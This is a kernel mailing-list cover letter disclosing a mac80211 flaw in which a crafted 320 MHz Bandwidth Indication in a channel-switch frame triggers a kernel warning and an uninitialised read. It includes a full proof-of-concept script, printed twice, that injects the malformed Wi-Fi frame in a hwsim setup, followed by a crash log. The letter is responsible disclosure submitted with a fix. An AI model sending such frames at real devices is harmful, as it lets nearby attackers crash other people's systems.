From: Ren Wei <weir@nebusec.ai>
To: linux-wireless@vger.kernel.org
Cc: johannes@sipsolutions.net, michael-cy.lee@mediatek.com,
vega@nebusec.ai, caoruide123@gmail.com, weir@nebusec.ai
Subject: [PATCH 0/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth
Date: Wed, 23 Sep 2026 02:02:22 +0800 [thread overview]
Message-ID: <cover.1787222001.git.vega.cover-letter@nebusec.ai> (raw)
From: Ruide Cao <caoruide123@gmail.com>
Hi Linux kernel maintainers,
We found an issue in net/mac80211/spectmgmt.c.
An attacker-controlled Bandwidth Indication element can set
new_chandef.width to NL80211_CHAN_WIDTH_320 on a non-6-GHz link. In
validate_chandef_by_ht_vht_oper(), the 320 MHz switch case executes
WARN_ON(1) but does not initialize vht_oper.chan_width before passing the
structure to ieee80211_chandef_vht_oper(), which reads that byte.
Action-frame elements are parsed in the highest connection mode, so this is
reachable even on a VHT connection; an EHT beacon provides another path. A
malicious AP can repeatedly trigger kernel warnings, crash systems using
panic_on_warn, and make channel-switch acceptance depend on stale stack
contents.
Privilege model: An adjacent Wi-Fi attacker that can transmit a crafted
CSA/Bandwidth Indication frame to a station associated with the relevant
BSS can reach this path. No local login or CAP_NET_ADMIN, user namespace,
or network namespace on the victim is required; a Wi-Fi-capable transmitter
is required. The `unshare -Urn` in the reproducer below is only for the
local mac80211_hwsim test harness (namespace-local setup/injection).
Reproducer:
#!/bin/sh
set -eu
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
if [ "${1:-}" != "--inner" ]; then
need_cmd unshare
if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
echo 1 > /proc/sys/kernel/panic_on_warn || true
fi
if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
[ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
exit 1
fi
SELF=$(readlink -f "$0")
exec unshare -Urn "$SELF" --inner
fi
shift
need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
make >/dev/null
ip link set lo up
# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3
for _ in $(seq 1 20); do
if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
break
fi
sleep 1
done
if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
echo "failed to create two hwsim radios inside the user namespace" >&2
exit 1
fi
trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT
cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF
ip link set wlan0 up
ip link set wlan1 up
hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3
iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link
AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA
iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up
python3 - <<'PY'
import os
import socket
import time
def mac(text: str) -> bytes:
return bytes.fromhex(text.replace(":", ""))
sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])
# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
# category = 0 (spectrum management)
# action = 4 (channel switch)
# CSA IE = switch to channel 36, count 1
# BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
bytes([0, 4]) +
bytes([37, 3, 1, 36, 1]) +
bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
sock.send(pkt)
time.sleep(0.1)
print("malformed CSA action frame sent")
PY
# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#!/bin/sh
set -eu
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
if [ "${1:-}" != "--inner" ]; then
need_cmd unshare
if [ "$(id -u)" -eq 0 ] && [ -w /proc/sys/kernel/panic_on_warn ]; then
echo 1 > /proc/sys/kernel/panic_on_warn || true
fi
if [ ! -r /proc/sys/kernel/panic_on_warn ] ||
[ "$(cat /proc/sys/kernel/panic_on_warn)" != "1" ]; then
echo "kernel.panic_on_warn must be 1 before running this PoC" >&2
exit 1
fi
SELF=$(readlink -f "$0")
exec unshare -Urn "$SELF" --inner
fi
shift
need_cmd gcc
need_cmd hostapd
need_cmd iw
need_cmd make
need_cmd pkg-config
need_cmd python3
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
make >/dev/null
ip link set lo up
# Custom regdomain index 3 maps to hwsim_world_regdom_custom_04, which allows
# 80 MHz operation on 5 GHz. The built-in radios in this VM boot under world
# regdom with NO_IR, so they cannot host a VHT AP on channel 36.
./hwsim_new_radio 1 3
./hwsim_new_radio 1 3
for _ in $(seq 1 20); do
if [ -d /sys/class/net/wlan0 ] && [ -d /sys/class/net/wlan1 ]; then
break
fi
sleep 1
done
if [ ! -d /sys/class/net/wlan0 ] || [ ! -d /sys/class/net/wlan1 ]; then
echo "failed to create two hwsim radios inside the user namespace" >&2
exit 1
fi
trap 'test -f /tmp/r7q-hostapd.pid && kill "$(cat /tmp/r7q-hostapd.pid)" 2>/dev/null || true' EXIT
cat > /tmp/r7q-hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=testvht
hw_mode=a
channel=36
wmm_enabled=1
auth_algs=1
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40+]
ieee80211ac=1
require_vht=1
vht_oper_chwidth=1
vht_oper_centr_freq_seg0_idx=42
EOF
ip link set wlan0 up
ip link set wlan1 up
hostapd -B -P /tmp/r7q-hostapd.pid /tmp/r7q-hostapd.conf
sleep 3
iw dev wlan1 connect -w testvht 5180
iw dev wlan1 link
AP=$(iw dev wlan0 info | awk '/addr/ {print $2; exit}')
STA=$(iw dev wlan1 info | awk '/addr/ {print $2; exit}')
export AP STA
iw dev wlan0 interface add mon0 type monitor
ip link set mon0 up
python3 - <<'PY'
import os
import socket
import time
def mac(text: str) -> bytes:
return bytes.fromhex(text.replace(":", ""))
sta = mac(os.environ["STA"])
ap = mac(os.environ["AP"])
# Minimal radiotap header + 802.11 spectrum-management action frame.
# Body:
# category = 0 (spectrum management)
# action = 4 (channel switch)
# CSA IE = switch to channel 36, count 1
# BW Indication extension IE with EHT width=320 on a 5 GHz link
rtap = b"\x00\x00\x08\x00\x00\x00\x00\x00"
hdr = b"\xd0\x00\x00\x00" + sta + ap + ap + b"\x00\x00"
body = (
bytes([0, 4]) +
bytes([37, 3, 1, 36, 1]) +
bytes([255, 5, 135, 0, 4, 42, 42])
)
pkt = rtap + hdr + body
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
sock.bind(("mon0", 0))
for _ in range(5):
sock.send(pkt)
time.sleep(0.1)
print("malformed CSA action frame sent")
PY
# The kernel panics asynchronously in cfg80211/mac80211 workqueue context.
sleep 5
------END PoC--------
----BEGIN crash log----
[ 598.942311][ T161] Kernel panic - not syncing: kernel: panic_on_warn set ...
[ 598.943617][ T161] CPU: 2 UID: 0 PID: 161 Comm: kworker/u16:4 Not tainted 6.12.95 #2
[ 598.944775][ T161] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 598.946556][ T161] Workqueue: events_unbound cfg80211_wiphy_work
[ 598.947477][ T161] Call Trace:
[ 598.947983][ T161] <TASK>
[ 598.948487][ T161] panic+0x533/0x610
[ 598.949159][ T161] ? __pfx_panic+0x10/0x10
[ 598.949879][ T161] ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.950801][ T161] check_panic_on_warn+0x61/0x80
[ 598.951537][ T161] __warn+0xdf/0x2e0
[ 598.952138][ T161] ? ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.953040][ T161] report_bug+0x308/0x3d0
[ 598.953743][ T161] handle_bug+0x111/0x150
[ 598.954417][ T161] exc_invalid_op+0x17/0x50
[ 598.955081][ T161] asm_exc_invalid_op+0x1a/0x20
[ 598.955911][ T161] RIP: 0010:ieee80211_parse_ch_switch_ie+0x162a/0x1d30
[ 598.956917][ T161] Code: ff 41 83 fc 02 b8 01 00 00 00 0f 84 8c f9 ff ff 41 83 fc 03 0f 94 c0 01 c0 e9 7e f9 ff ff 83 7c 24 50 0d 0f 85 54 02 00 00 90 <0f> 0b 90 e9 1f fd ff ff 48 89 ef 48 89 4c 24 08 e8 a1 d6 0c f8 48
[ 598.960118][ T161] RSP: 0018:ffffc9000164f6a0 EFLAGS: 00010246
[ 598.961322][ T161] RAX: 0000000000000000 RBX: ffff88807e2b4c00 RCX: ffffc9000164f7e8
[ 598.962716][ T161] RDX: 0000000000000000 RSI: 000000000000000d RDI: 00000000004f7f90
[ 598.964226][ T161] RBP: ffff88801ca966d8 R08: 0000000000000001 R09: ffffc9000164f770
[ 598.965732][ T161] R10: ffffc9000164f787 R11: 1ffff1102085d361 R12: 000000000000143c
[ 598.967238][ T161] R13: ffffc9000164f748 R14: ffffc9000164f9d7 R15: ffffc9000164f9b8
[ 598.968946][ T161] ? __pfx_ieee80211_parse_ch_switch_ie+0x10/0x10
[ 598.970111][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.971121][ T161] ? __pfx__ieee802_11_parse_elems_full+0x10/0x10
[ 598.972088][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.972898][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.973737][ T161] ieee80211_sta_process_chanswitch+0x28e/0x38f0
[ 598.974697][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.975512][ T161] ? __pfx_ieee80211_sta_process_chanswitch+0x10/0x10
[ 598.976508][ T161] ? __pfx_mark_lock+0x10/0x10
[ 598.977247][ T161] ? hlock_class+0x4e/0x130
[ 598.977908][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.978782][ T161] ? __lock_acquire+0x1249/0x3c40
[ 598.979590][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.980398][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.981248][ T161] ieee80211_sta_rx_queued_mgmt+0x2215/0x2e20
[ 598.982140][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.982957][ T161] ? lock_acquire.part.0+0x119/0x370
[ 598.983771][ T161] ? __pfx_ieee80211_sta_rx_queued_mgmt+0x10/0x10
[ 598.984713][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.985531][ T161] ? skb_dequeue+0x116/0x1a0
[ 598.986187][ T161] ? __pfx_lock_release+0x10/0x10
[ 598.986972][ T161] ? _raw_spin_unlock_irqrestore+0x57/0x80
[ 598.987840][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.988760][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.989597][ T161] ieee80211_iface_work+0x888/0xb70
[ 598.990352][ T161] ? rcu_is_watching+0x12/0xc0
[ 598.991073][ T161] cfg80211_wiphy_work+0x312/0x450
[ 598.991882][ T161] process_one_work+0x855/0x1ac0
[ 598.992749][ T161] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 598.993823][ T161] ? __pfx_process_one_work+0x10/0x10
[ 598.994641][ T161] ? srso_alias_return_thunk+0x5/0xfbef5
[ 598.995468][ T161] worker_thread+0x4f4/0xd60
[ 598.996214][ T161] ? __pfx_worker_thread+0x10/0x10
[ 598.996939][ T161] kthread+0x27e/0x350
[ 598.997542][ T161] ? _raw_spin_unlock_irq+0x28/0x50
[ 598.998301][ T161] ? __pfx_kthread+0x10/0x10
[ 598.999083][ T161] ret_from_fork+0x31/0x70
[ 598.999741][ T161] ? __pfx_kthread+0x10/0x10
[ 599.000468][ T161] ret_from_fork_asm+0x1a/0x30
[ 599.001232][ T161] </TASK>
[ 599.002136][ T161] Kernel Offset: disabled
[ 599.002862][ T161] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Ruide Cao
Ruide Cao (1):
wifi: mac80211: reject invalid 320 MHz CSA bandwidth
net/mac80211/spectmgmt.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
--
2.47.3
next reply other threads:[~2026-09-22 18:02 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-22 18:02 Ren Wei [this message]
2026-09-22 18:02 ` [PATCH 1/1] wifi: mac80211: reject invalid 320 MHz CSA bandwidth Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1787222001.git.vega.cover-letter@nebusec.ai \
--to=weir@nebusec.ai \
--cc=caoruide123@gmail.com \
--cc=johannes@sipsolutions.net \
--cc=linux-wireless@vger.kernel.org \
--cc=michael-cy.lee@mediatek.com \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox